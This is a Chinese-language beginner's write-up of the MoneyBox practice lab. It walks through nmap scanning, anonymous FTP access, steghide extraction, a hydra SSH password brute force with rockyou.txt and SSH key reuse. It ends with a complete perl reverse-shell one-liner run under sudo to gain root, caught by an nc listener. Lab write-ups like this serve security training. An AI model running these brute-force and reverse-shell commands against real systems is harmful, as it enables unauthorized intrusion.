作为一名新手,首先要配置好环境,才能进行下一步的操作。
将下载的ova文件导入VirtualBox。
VirtualBox下载地址:https://www.oracle.com/cn/virtualization/technologies/vm/downloads/virtualbox-downloads.html
选择你下载的ova文件,点击“下一步”。
选择存放文件的位置,点击完成。(在我的电脑上只有放在默认位置才有效)
启动虚拟机。
可能会出现如下错误信息。
解决方法:
在网络设置中,选择自己电脑的网卡,重新启动就可以了。
这里我使用桥接方式,VMware中的Kali虚拟机也使用桥接方式,使两台虚拟机处在同一网段就可以了。
首先获取一下kali的网卡信息。
ifconfig
目前没有任何有效信息,通过Kali中的nmap工具扫描该网段下的所有主机,扫描到了很多IP。
nmap 192.168.3.0/24
参数含义:
nmap:网络探索和安全扫描工具。
192.168.3.0/24:目标 IP 地址范围。这里的 /24 表示子网掩码为 255.255.255.0,这意味着 Nmap 将扫描从 192.168.3.1 到 192.168.3.254 的所有 IP 地址。
也可以通过arp扫描,获得目标靶机IP。
arp-scan -I eth0 -l
经过访问和验证后,确认目标靶场为192.168.3.27。探测到三个开放的端口,对端口做进一步的探测。
使用nmap对192.168.3.27做更详细的探测,发现(自上而下):
1、21端口ftp服务允许匿名登录,还有一张trytofind.jpg图片;
2、22端口ssh服务有一些key;
3、80端口http服务存在一个网页Title:MoneyBox。
nmap -A 192.168.3.27
参数含义:
-A:Aggressive(激进)扫描模式。这是一个组合选项,包含了以下功能:
-sS(TCP SYN 扫描)
-sU(UDP 扫描)
-sT(TCP connect() 扫描)
-sV(服务版本探测)
-sC(默认脚本扫描)
OS detection(操作系统检测)
或者
nmap -p21 -sC 172.16.95.137
nmap -p22 -sC 172.16.95.137
nmap -p80 -sC 172.16.95.137
参数含义:
-p: 指定要扫描的端口号或端口范围。
-sC: 执行默认的 NSE 脚本集合。
既然可以匿名登录,尝试直接登录ftp服务,账户名和密码均为anonymous。
FTP的匿名登录一般有三种:
1、 用户名:anonymous 密码:Email或者为空
2、 用户名:FTP 密码:FTP或者为空
3、 用户名:USER 密码:pass
登录成功之后,使用ls命令看一下有什么东西,找到一张图片,使用get命令下载下来。
ftp 192.168.3.27
ls
get trytofind.jpg
exit
下载到的图片:
图片的出现让我想起了CTF中的隐写术,使用steghide工具查看图片的详细信息,提示需要密码。随便试几个密码,失败了,看来要从其他地方找密码。
steghide info trytofind.jpg
Steghide 是一个用于隐藏数据(如文本、图像、音频等)在其他文件(如图片、音频文件)中的工具。
直接通过浏览器访问IP,查看网站页面。提示:“这是一个非常简单的盒子,所以不要想太多”。
查看网页源代码(直接按F12),没有什么有用的信息。进行敏感目录收集,使用dirsearch目录爆破工具探测目录。
安装命令
apt install dirsearch
dirsearch -u http://192.168.3.27/
作用:对指定的 URL(http://192.168.3.27/)进行目录和文件枚举。
以下是一些可能的命令参数:
-u:指定要扫描的 URL。
-e(可选):指定要搜索的文件扩展名列表,默认值为 .php,.asp,.aspx,.jsp,.jspx,.pl,.py,.html,.htm,.shtml,.sh,.cgi,.xml 等。
-f(可选):从文件中读取要搜索的单词列表。
-t(可选):指定线程数,默认为 10。
-w(可选):指定单词列表文件。
发现一个新页面blogs,在浏览器中看一下。
提示:我是 TOm-H4ck3r
我已经黑了这个盒子并通知了他们。但他们没有做任何安全配置
如果您需要下一步的提示…?
查看网页源代码,发现下一步的提示。
提示:<!–提示是另一个秘密目录是 S3cr3t-T3xt–>。
根据提示切换路径为http://192.168.3.27/S3cr3t-T3xt/。
新的提示:本页无内容…
查看网页源代码,发现一个Key。(猜测为图片隐藏内容的密码)
使用得到的密码,成功读取到一个data.txt文件。
使用steghide提取data.txt文件,查看得到新提示。
steghide extract -sf trytofind.jpg -p 3xtr4ctd4t4
命令参数解释如下:
extract: 指定要执行的操作为提取隐藏数据。
-sf: 指定源文件为 trytofind.jpg,这是一个包含隐藏数据的图像文件。
-p: 指定用于解密隐藏数据的密码。在这个例子中,密码为 3xtr4ctd4t4。
提示:你好… renu(用户名)
我告诉你一件重要的事情:你的密码太短了,所以请更改密码
不要小看它…
结合得到的用户名、弱口令提示和剩下的ssh服务,尝试使用hydra工具对ssh服务进行弱口令爆破。
hydra -l renu -P rockyou.txt 192.168.3.27 ssh
参数解释:
-l:指定用户名,本例中为 "renu"。
-P:指定包含密码的字典文件,本例中为 "rockyou.txt"。这是一个广泛使用的密码字典,包含了大量常见的密码。
192.168.3.27:目标 IP 地址。
ssh:指定要攻击的服务,本例中为 SSH(Secure Shell)服务。
得到renu账户的ssh密码为987654321,直接尝试ssh远程登陆。登录成功。
ssh renu@192.168.3.27
ls命令看一下有什么文件,pwd命令看一下当前路径,尝试用sudo提权失败,在user1.txt文件中得到第一个flag。
ls
pwd
uname -a (显示系统详细信息)
uname -r (用于在 Unix 或类 Unix 系统中显示当前运行的内核版本。)
sudo su
cat user1.txt
接下来进行提权操作,分析一下历史命令,寻找辅助提权的信息。从历史命令中可以看出,renu用户对192.168.43.80的主机进行SSH公钥登陆的配置,登陆账户是lily;192.168.43.80上的lily用户有sudo的权限;而renu用户可以切换为到本机的lily用户。
history #history命令用于显示或保存用户的命令历史记录
ssh-keygen -t rsa
# 生成RSA类型的SSH密钥。
ssh-copy-id lily@192.168.43.80
# 将公钥复制到远程服务器上,以便进行无密码SSH登录。
chmod 400 id_rsa
# 更改id_rsa文件的权限为400,也就是只有文件所有者可以读取该文件。
ssh -i id_rsa lily@192.168.43.80
# 使用指定的密钥文件(id_rsa)通过SSH连接到远程服务器。
看到下图所示,renu用户进入home家目录,之后又进入lily用户目录,说明本机存在一个lily用户。
猜测ssh登录的账户lily为本机的lily用户,那么SSH公钥配置操作就是在本机上进行的,根据SSH公钥工作机制,如果renu用户进行了ssh-keygen -t rsa操作,会在renu的~/.ssh/中生成id_rsa和id_rsa.pub文件,如下。
同时,如果renu用户进行了ssh-copy-id lily@192.168.43.80操作,将会把刚才生成的id_rsa.pub拷贝到192.168.43.80主机上的lily账户~/.ssh/authorized_keys文件中。如果192.168.43.80上的lily用户就是本机的lily用户,那么lily用户下~/.ssh/authorized_keys文件中的公钥应该与renu生成的id_rsa.pub公钥一致。验证一下。
完全一致,那么renu用户可以通过SSH公钥验证的方式登陆到本机的lily的账户上,并且lily用户具有sudo的权限。
尝试直接su到lily用户,但是需要密码,只能通过SSH公钥验证登录到lily用户。
ssh -i id_rsa lily@192.168.3.27
-i 选项,用于指定私钥文件 id_rsa。
成功登录,ls命令看一下有什么文件,在user1.txt文件中得到第二个flag。
尝试su提升权限,但还是需要密码。再次查看history历史命令,发现lily用户编辑了sudoers,并且查找了一些具有suid权限的文件,执行了sudo -l 。
使用sudo -l命令看一下当前用户可用的sudo权限,发现可以使用sudo权限的perl命令(不需要输入密码)。
sudo -l
# 查看当前用户可用的sudo权限
既然可以使用perl命令,那么采用反弹shell的方法提升权限。
首先,在kali上开启nc进行监听。
nc -lnvp 6666
# 使用 nc(Netcat)命令在本地主机上监听TCP端口6666的命令。
命令参数解释如下:
-l: 使Netcat进入监听模式,等待连接请求。
-n: 指定不进行DNS解析,使用IP地址而非主机名。
-v: 启用详细模式,显示更多的操作信息。
-p: 指定要监听的端口号,这里为6666。
然后,生成一段用于反弹shell的perl指令进行sudo执行。(!!!$ i=攻击机的IP,$p=攻击机监听的端口!!!)
sudo perl -e 'use Socket;$i="192.168.3.25";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
当执行此命令时,以下过程会发生:
1、使用 sudo 提升权限执行 Perl 命令。
2、在 Perl 中,定义了以下几个变量:
$i="192.168.3.25":目标 IP 地址。
$p=6666:目标端口号。
3、使用 Socket 模块创建一个 TCP 套接字(Socket),并连接到指定的 IP 地址和端口号。
4、如果连接成功,将标准输入(STDIN)、标准输出(STDOUT)和标准错误(STDERR)重定向到套接字,这样就可以通过该套接字发送和接收数据。
5、执行 /bin/sh -i,启动一个交互式的 Bash shell。这个 shell 的输入和输出都会通过先前建立的套接字进行传输。
最后成功拿到root权限,并在user3.txt文件中拿到第三个flag。